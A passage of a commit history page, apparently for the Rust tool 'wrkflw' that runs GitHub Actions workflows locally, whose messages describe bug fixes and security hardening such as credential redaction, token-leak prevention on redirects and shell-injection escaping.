fixture — nothing referenced it. The same content is already
tested inline by parse_continue_on_error_workflow in the parser.
Removed it.
* fix: correct cron day-of-week range, steps. false positive, and Step boilerplate
Three issues from PR review, all straightforward:
The cron validator was rejecting day-of-week value 7, which is a
perfectly valid Sunday alias in both POSIX cron and GitHub Actions.
The max was 6 when it should be 7. The named-value resolver guard
also needed updating from `max == 6` to `max >= 6` so named days
still resolve correctly with the wider range.
The `evaluate_job_condition` heuristic for detecting `steps.*`
references was using a bare `contains("steps.")`, which means an
env var like `env.MY_STEPS_COUNT` would falsely trigger it and
short-circuit to false. Now we check that the character before
"steps." is either start-of-string or non-alphanumeric. Not a
full expression parser, but it stops the obvious false positives.
While at it, add a `Step::with_run` constructor so the GitLab
converter doesn't need three identical 12-field struct literals
that silently break every time someone adds a field to Step.
* fix: harden steps. boundary check, document condition semantics, dedup cycles
The steps. word-boundary heuristic in evaluate_job_condition was
checking for alphanumeric characters before "steps." to avoid false
positives on env vars like "env.MY_STEPS_COUNT". It turns out that
underscore is *not* alphanumeric, so "env._STEPS_CHECK" would
incorrectly trigger the step-reference path and return false.
While at it, the always() && failure() compound expression returning
true got a proper comment explaining *why* that's intentional — we
lack step-status context locally, so we'd rather over-run than
silently skip steps. Not ideal, but honest.
The DFS cycle detector in detect_cyclic_needs could report the same
cycle multiple times depending on HashMap iteration order. Normalize
cycles by rotating the node list to start at the lexicographically
smallest node, then deduplicate via a HashSet. Same cycle from
different entry points now gets reported exactly once.
* fix: squash review nits — double parse, clippy warnings, lost flag
Three leftover issues from the codebase review PR:
The from_json() deserialization was parsing the JSON *twice* — once
into serde_json::Value to sniff for the old nonce field, then again
from the raw string into the actual struct. Parse once, use
from_value() on the already-parsed Value. Not rocket science.
The cycle detector had two clippy warnings: .iter().cloned().collect()
on a slice (just use .to_vec(), please) and .min_by_key() cloning a
double reference instead of comparing properly. Switch to .min_by()
with an explicit cmp.
The show_action_messages flag was being silently dropped in
execute_workflow_cli — hardcoded to false regardless of what the user
asked for. Propagate it through the function signature and the TUI
fallback path so it actually does something.
|
||
|
bahdotsh
|
aa3366a797 |
fix: correct multiple bugs found during full codebase review
It turns out that build_image_inner() in docker.rs was calling .elapsed() on a SystemTime to compute the tar mtime. That gives you "seconds since modification" — which is *not* what mtime means. Mtime is seconds since the Unix epoch. The fix is .duration_since(UNIX_EPOCH) like a normal person would use. While at it, the docker logs() call was passing None for options, which means it wasn't actually requesting stdout or stderr. So we were collecting logs from a stream that might not have any. Explicitly set stdout: true and stderr: true. The emulation runtime had a fun behavioral mismatch with Docker and Podman: it returned Err on non-zero exit codes, swallowing all stdout/stderr output. Docker and Podman return Ok with the exit code and let the caller decide what to do. The engine already handles non-zero exit codes in the Ok path, so the emulation was just silently eating useful output for no reason. The UI had a bounds check in next_job() that was mysteriously absent from previous_job() — the kind of inconsistency that waits patiently for someone to hit a stale workflow index and get a panic. Added the same .filter() guard. String slicing in the log processor wasn't checking char boundaries, which is fine until someone's log contains a multi-byte UTF-8 character before a bracket. Added is_char_boundary() checks. Step validation was accepting steps with only a 'name' field and no 'uses' or 'run', which is not a valid step in GitHub Actions. Fixed the validation to require at least one of the two fields that actually *do* something. Replaced .expect() calls on directory reads in main.rs with proper error handling. Panicking because a directory isn't readable is not great user experience. |
||
|
bahdotsh
|
3296ad1f62 |
fix(executor): guard against empty container image and volume paths
It turns out that if someone writes `container:` with an empty image
string, we'd happily pass "" to Docker and let it figure out what
that means. Spoiler: it doesn't.
Similarly, volume specs like "/host:" or ":/container" would produce
a PathBuf::from("") mount, which is the kind of thing that makes
container runtimes *very* unhappy. Let's just skip those with a
warning instead of pretending they're valid.
While at it, replace the derived Serialize on ContainerCredentials
with a custom impl that redacts the password field. The Debug impl
was already doing this, but serde_json::to_string was still happily
dumping passwords in plaintext. Please don't do that.
|
||
|
bahdotsh
|
2c2a633e0e |
fix(executor): harden container config against credential leaks and empty volumes
ContainerCredentials had a derived Debug impl that would happily dump passwords into logs, panic output, and anywhere else Debug gets called. That's *exactly* the kind of thing that bites you at 3am when someone adds a debug trace and suddenly credentials show up in plaintext in your log aggregator. Replace the derived Debug with a manual impl that redacts the password field. While at it, add a guard for empty volume specs that would otherwise produce undefined Docker behavior, a note about the splitn limitation with Windows paths, and fix clippy warnings on the test assertions. |
||
|
bahdotsh
|
e76f723034 |
fix(executor): fix phantom env paths and silent volume option drop
The remap_env_file closure had a fallback that would *invent* paths like /github/workflow/github_output when the corresponding env key didn't actually exist in job_env. Those paths point to nothing on the mounted volume, so any step that tries to write to them gets a lovely surprise. Only remap keys that actually exist in job_env now. If GITHUB_OUTPUT isn't set, we don't pretend it is. While at it, volume mount options like :ro and :rw were being silently stripped with no warning. A user specifying :ro expects a read-only mount — silently giving them read-write is not great. Emit a warning when we drop mount options, matching the existing pattern in warn_unsupported_container_fields. Add tests for both fixes plus container env precedence coverage. |
||
|
bahdotsh
|
2e1452d237 |
fix(executor): fix volume parsing and hardcoded env path remapping
The volume spec parser was using splitn(2, ':'), which means a Docker volume like "/host:/container:ro" would produce a container path of "/container:ro". That's not a path, that's a path with garbage appended. splitn(3, ':') strips the options correctly. The env path remapping was hardcoding filenames like "/github/workflow/env" instead of deriving them from the actual host paths. If environment.rs ever renames those files, the remapping silently breaks and you get to debug phantom container failures. Derive the filename from the real path instead. While at it, add unit tests for prepare_container_mounts and get_effective_runner_image — the two core functions from the container directive work that had zero test coverage. Nine tests covering Docker/Podman remapping, volume parsing (host:container, single-path, :ro/:rw options), and the image selection fallback. |
||
|
bahdotsh
|
ecb9392d52 |
refactor(executor): deduplicate container mount logic and fix review issues
The container directive support in
|
||
|
bahdotsh
|
2eae320953 |
fix(executor): support job-level container directive
It turns out that the Job struct in the parser had *no* container
field at all. When a workflow specified `container: alpine:3.22.1`,
serde silently dropped it, and the engine happily derived the runner
image from `runs-on` instead. So `apk add` runs inside Ubuntu.
Confusion ensues.
Add a JobContainer type with a custom deserializer that handles both
the string form (`container: alpine:3.22.1`) and the object form
(`container: { image: ..., env: ..., volumes: ... }`). A new
get_effective_runner_image() prefers the container image over the
runs-on mapping.
While at it, fix the GITHUB_ENV volume mounting for real container
runtimes. The old code identity-mounted the host temp path into the
container, which breaks on macOS with Podman because /var/folders
doesn't exist in the VM. Now we mount the github env directory at
/github/workflow/ and remap the env vars to match.
Container-level env vars and volumes are also wired through with
correct precedence (step > job > container).
Closes #58
|
||
|
bahdotsh
|
c21182d389 |
fix(executor): handle sub-path action refs and stop mutating env in tests
It turns out that action references like `github/codeql-action/init@v3` were being treated as if `github/codeql-action/init` was the repo name. The resolver would then try to fetch action.yml from `github/codeql-action/init/v3/action.yml` instead of the correct `github/codeql-action/v3/init/action.yml`. Same bug hit shallow_clone — it would try to clone a repo URL with the sub-path baked in, which obviously doesn't exist. Add a `sub_path` field to `ActionInfo` so `resolve_action` splits `owner/repo/path@ref` into its actual components. The resolver, cache key, and composite action clone all use the sub-path correctly now. While at it, stop using `std::env::set_var`/`remove_var` in the wiremock tests. Those are unsound in multi-threaded test binaries (Rust 1.83+ rightly marks them unsafe). Refactored `fetch_and_parse` to accept the token as a parameter — the tests just pass it directly, no env mutation needed. |
||
|
bahdotsh
|
8661771b8a |
fix(executor): fix shell injection, env var leak in tests, and missing docs
Three issues from code review, all small but all real:
The echo fallback in execute_step was interpolating the `uses` string
directly into a single-quoted sh -c argument. A workflow with a
single quote in the action ref would break out of the shell string.
Escape single quotes with the standard '\'' pattern.
The fetch_and_parse tests were calling env::remove_var("GITHUB_TOKEN")
and env::set_var() without saving and restoring the original value.
If GITHUB_TOKEN was set before the test suite ran, it would be
permanently wiped for subsequent tests. All three tests now
save/restore properly.
While at it, document the ActionInfo::version field semantics —
it's empty for docker/local refs, holds the git ref for GitHub
action refs, and defaults to "main" when omitted. Future readers
shouldn't have to guess.
|
||
|
bahdotsh
|
f53a45e25d |
fix(executor): fix docker digest parsing, token leak in redirects, and missing tests
It turns out that resolve_action was blindly splitting on '@' for *all* action references, including Docker image refs like docker://alpine@sha256:abc123. The '@' in a Docker digest is not a version separator — it's part of the image reference. Splitting it produces a nonsensical repository and a fake "version" that happens to be a SHA256 digest. Nobody noticed because the Docker path doesn't use the version field, but the parsed data was still wrong. While at it, the auth retry path in fetch_and_parse was constructing a brand new reqwest::Client on every single 404-then-retry cycle. That means a fresh TLS handshake each time, which is wasteful when we already have a perfectly good static client pattern. Promote the no-redirect client to a static Lazy, same as HTTP_CLIENT. The auth redirect flow — where we send GITHUB_TOKEN to the origin but strip it before following a redirect to a CDN — had zero test coverage. This is the kind of security invariant that *really* should not depend on code review alone. Add wiremock-based tests that verify the token does not leak to redirect targets, plus tests for the basic auth retry and 404 paths. Parameterize fetch_and_parse with a base_url so wiremock can intercept the requests. |
||
|
bahdotsh
|
9bdf24f86b |
fix(executor): fix review issues in action resolver and engine
The PR review flagged three things that deserved fixing: The action resolver was silently swallowing the *first* error when action.yml failed and then retrying action.yaml. If action.yml existed but had a parse error, you'd never know — it just quietly tried the other filename. Now both error messages are combined so you actually get useful diagnostics. There was a stale comment in engine.rs that read "rest of the existing code for handling regular actions" — which was left over from the refactor and described absolutely nothing. Gone. The SHA detection logic in shallow_clone was inline and untested. Extract it into is_git_sha() and add proper tests covering valid SHA-1, short hashes, branch names, tags, non-hex input, and off-by-one lengths. |
||
|
bahdotsh
|
ce3099d757 |
fix(executor): add User-Agent header and handle auth redirects properly
The action resolver was making HTTP requests to raw.githubusercontent.com with no User-Agent header, which is the kind of thing that gets you silently rate-limited by GitHub's CDN. Not great when your whole resolution strategy depends on those requests actually succeeding. While at it, the no-redirect policy on the authenticated retry path was *correct* for preventing token leakage to non-GitHub hosts, but it also meant that legitimate CDN redirects (3xx) would fall through to the success check and produce a misleading "HTTP 301 fetching..." error. Fix this by following the redirect with HTTP_CLIENT (no auth header) when we get a 3xx, so we get the content without leaking the token. Also add a note on the SHA-1 detection in shallow_clone — it only matches 40-char hex strings, which will need updating if GitHub ever adopts SHA-256 refs. |
||
|
bahdotsh
|
3ee75e6aa8 |
fix(executor): fix dead code, misleading comment, and token leak risk
The exit_code branching in execute_step had a classic nested-condition bug: the cargo-error detail block checked `exit_code != 0` *inside* an `if exit_code == 0` block. That entire error path was unreachable dead code. Confusion ensues. Flatten the branching so the cargo-error path is actually reachable on failure, and the verbose-output construction doesn't gate the entire result. While at it, fix two things in action_resolver: the BoundedCache insert comment said "LRU order" when the eviction strategy is FIFO, and the authenticated retry for private repos was reusing the shared HTTP_CLIENT which follows redirects by default — meaning a hypothetical redirect away from raw.githubusercontent.com would happily forward the GITHUB_TOKEN to wherever it landed. Use a no-redirect client for the authenticated request instead. |
||
|
bahdotsh
|
8dd6d1b143 |
fix(executor): correct misleading cache docs, token comment, and docker version semantics
Three issues from code review, all minor but all worth fixing before they confuse someone later. The BoundedCache was documented as "LRU-style" when it's actually plain FIFO — get() doesn't promote keys. Nobody cares for this use case since actions resolve once per run, but calling FIFO "LRU" is the kind of lie that breeds real bugs when someone trusts the docs and adds access-pattern-dependent logic later. Fixed the comments. The 404-retry-with-GITHUB_TOKEN pattern in fetch_and_parse was correct but undocumented — it *only* targets raw.githubusercontent.com so there's no token-to-attacker-host risk, but that's the kind of thing you want a future reader to see immediately without having to trace the URL construction. Added a comment. resolve_action was setting version to "main" for docker:// refs and local paths (./), which is semantically wrong. Docker refs embed their tag in the repository string, and local paths have no version at all. Neither value was ever *used* in those code paths, but a wrong value sitting in a struct field is a bug waiting to happen. Set version to "" for both cases instead. |
||
|
bahdotsh
|
de0cf0e419 |
fix(executor): harden action resolver: bounded cache, async clone, strict parsing
The action resolver had a few problems that would bite in production.
The ACTION_CACHE was an unbounded HashMap behind a Mutex — so it
leaked memory indefinitely in long-running processes, and readers
blocked each other for no good reason. Replace it with a bounded
LRU-style cache (256 entries, oldest evicted first) behind an RwLock
so concurrent reads don't serialize.
shallow_clone() was using std::process::Command in async context,
which blocks the tokio runtime thread. For SHA refs that's *three*
sequential blocking operations. Convert the whole thing to
tokio::process::Command. While at it, add `--` before positional
args to prevent flag injection from crafted version strings, and
`--single-branch` to avoid fetching unnecessary refs.
The node version parser silently defaulted to 20 on malformed input
("nodefoo" -> node:20-slim). That's the kind of silent data
corruption that makes debugging a nightmare. Return an error instead.
HTTP timeout reduced from 15s to 5s — this is best-effort with a
fallback, so waiting 30s (two filenames × 15s) on a flaky network
is not helpful. GITHUB_TOKEN is now only sent on 404 retry instead
of unconditionally, because leaking tokens to public repos you don't
own is not great practice.
Also killed a dead conditional where both branches of an
if/else produced identical output.
|
||
|
bahdotsh
|
419ccf97d4 |
fix(executor): harden action resolver and kill magic string dispatch
It turns out that prepare_action() was returning the string "composite" as if it were a Docker image name, and then execute_step() was checking `if image == "composite"` to decide the control flow. This is not great. Stringly-typed dispatch hiding inside what *looks* like an image name is the kind of thing that confuses every future contributor. Replace the String return with a proper PreparedAction enum that makes the Composite vs Image distinction explicit at the type level. While at it, fix several other bugs in the action resolver: - git clone --branch doesn't work with SHA refs, and actions pinned to full commit SHAs (a perfectly normal thing to do) would just fail with a confusing git error. Extract a shared shallow_clone() helper that detects SHA refs and uses init+fetch+checkout instead. - DockerBuild actions (ones that bundle their own Dockerfile) were silently falling through to determine_action_image(), which would cheerfully return node:20-slim. Return an explicit error instead of pretending everything is fine. - Failed action.yml fetches were permanently cached as None, so a transient network hiccup would poison the cache for the entire process lifetime. Only cache successes now. - The reusable workflow clone had the same --branch SHA bug; it now uses the shared shallow_clone() helper too. |
||
|
bahdotsh
|
639d86ad3b |
fix(executor): handle DockerBuild actions and harden action resolver
The previous commit added remote action.yml resolution, which was a good idea in principle. But it had a *rather significant* problem: when an action declares `runs.image: Dockerfile` (meaning "build my bundled Dockerfile"), the resolver happily returned the literal string "Dockerfile" as the Docker image name. Confusion ensues. Downstream code tries to pull an image called "Dockerfile" from a registry. That doesn't work. Add a DockerBuild variant to ActionType for actions that bundle their own Dockerfile. image_for_action() now returns Option<String> — None for DockerBuild — so the caller falls back to the hardcoded mapping instead of trying to pull nonsense from a registry. While at it, fix several other problems from the initial PR: - Reuse a static reqwest::Client instead of creating one per HTTP request, because TLS initialization on every fetch is wasteful - Capture git clone stderr instead of sending it to /dev/null, so when cloning a remote composite action fails you actually get to know *why* - Add tests for ActionInfo.version parsing in the parser (the field was added but never tested — please don't do that) - Add edge-case tests for DockerBuild, unknown using values, missing fields, and the docker://Dockerfile prefix variant |
||
|
bahdotsh
|
f2c6097534 |
fix: resolve action.yml from remote repos to determine correct Docker image
Fixes #48. When encountering third-party GitHub Actions, wrkflw previously defaulted to node:20-slim for all unknown actions. Now it fetches the action's action.yml from raw.githubusercontent.com, parses runs.using to determine the action type (Node/Docker/Composite), and selects the appropriate Docker image. Falls back to the existing hardcoded mapping on any failure. |
||
|
bahdotsh
|
1d2008852e |
fix: resolve tempdir lifecycle issue in remote workflow execution
- Fix remote workflow execution failing with 'No such file or directory' - Move workflow parsing and execution inside tempdir scope to prevent premature cleanup of temporary directory - Ensure TempDir stays alive during entire remote workflow lifecycle - Remote workflows like pytorch/test-infra/.github/workflows/*.yml@main now execute successfully Resolves #47 |
||
|
bahdotsh
|
b1cc74639c | version fix | ||
|
bahdotsh
|
f45babc605 |
fix(docker): mount GitHub environment files directory into containers
- Mount GitHub environment files directory containing GITHUB_ENV, GITHUB_OUTPUT, GITHUB_PATH, and GITHUB_STEP_SUMMARY - Resolves Docker container exit code -1 when writing to $GITHUB_ENV - Update volume mapping in both step execution contexts in engine.rs - Tested on macOS with Docker Desktop Closes: Issue where echo "VAR=value" >> "$GITHUB_ENV" fails in Docker runtime |
||
|
bahdotsh
|
51a655f07b | version fixes | ||
|
bahdotsh
|
2d809388a2 | fix: fix the ui logs from displaying copy logs noise | ||
|
bahdotsh
|
797e31e3d3 |
fix(executor): correct Ubuntu runner image mapping
- Fix get_runner_image() to map ubuntu-latest to ubuntu:latest instead of node:16-buster-slim - Update ubuntu-22.04, ubuntu-20.04, ubuntu-18.04 to use proper Ubuntu base images - Fix step execution to use action-specific images instead of always using runner image - Update Node.js fallback images from node:16-buster-slim to node:20-slim Fixes #49 |
||
|
bahdotsh
|
8005cbb7ee |
feat: Add .gitignore support for file copying
- Add ignore crate dependency to executor and runtime crates - Implement gitignore-aware file copying in engine.rs and emulation.rs - Support for .gitignore patterns, whitelist rules, and default ignore patterns - Maintain backward compatibility with projects without .gitignore files - Add proper error handling and debug logging for ignored files This ensures that files marked in .gitignore are not copied to containers or emulation workspaces, improving performance and security. |
||
|
Alexander Koval
|
7a17d26589 | Do not copy a repository before executing a job | ||
|
bahdotsh
|
250a88ba94 | feat: implement robust secrets management with multi-provider support, masking, and security features | ||
|
bahdotsh
|
8fc6dcaa6c |
Fix PHP workflow execution issues
- Add automatic Docker image pulling in run_container_inner - Implement smart container image selection for GitHub actions - Fix shell command parsing to use bash -c for proper quote/pipe handling - Map shivammathur/setup-php to composer:latest container - Support complex commands with quotes, pipes, and substitutions Fixes issues where: 1. Docker images required manual pulling 2. PHP actions used wrong Node.js containers 3. Commands like 'echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT' failed |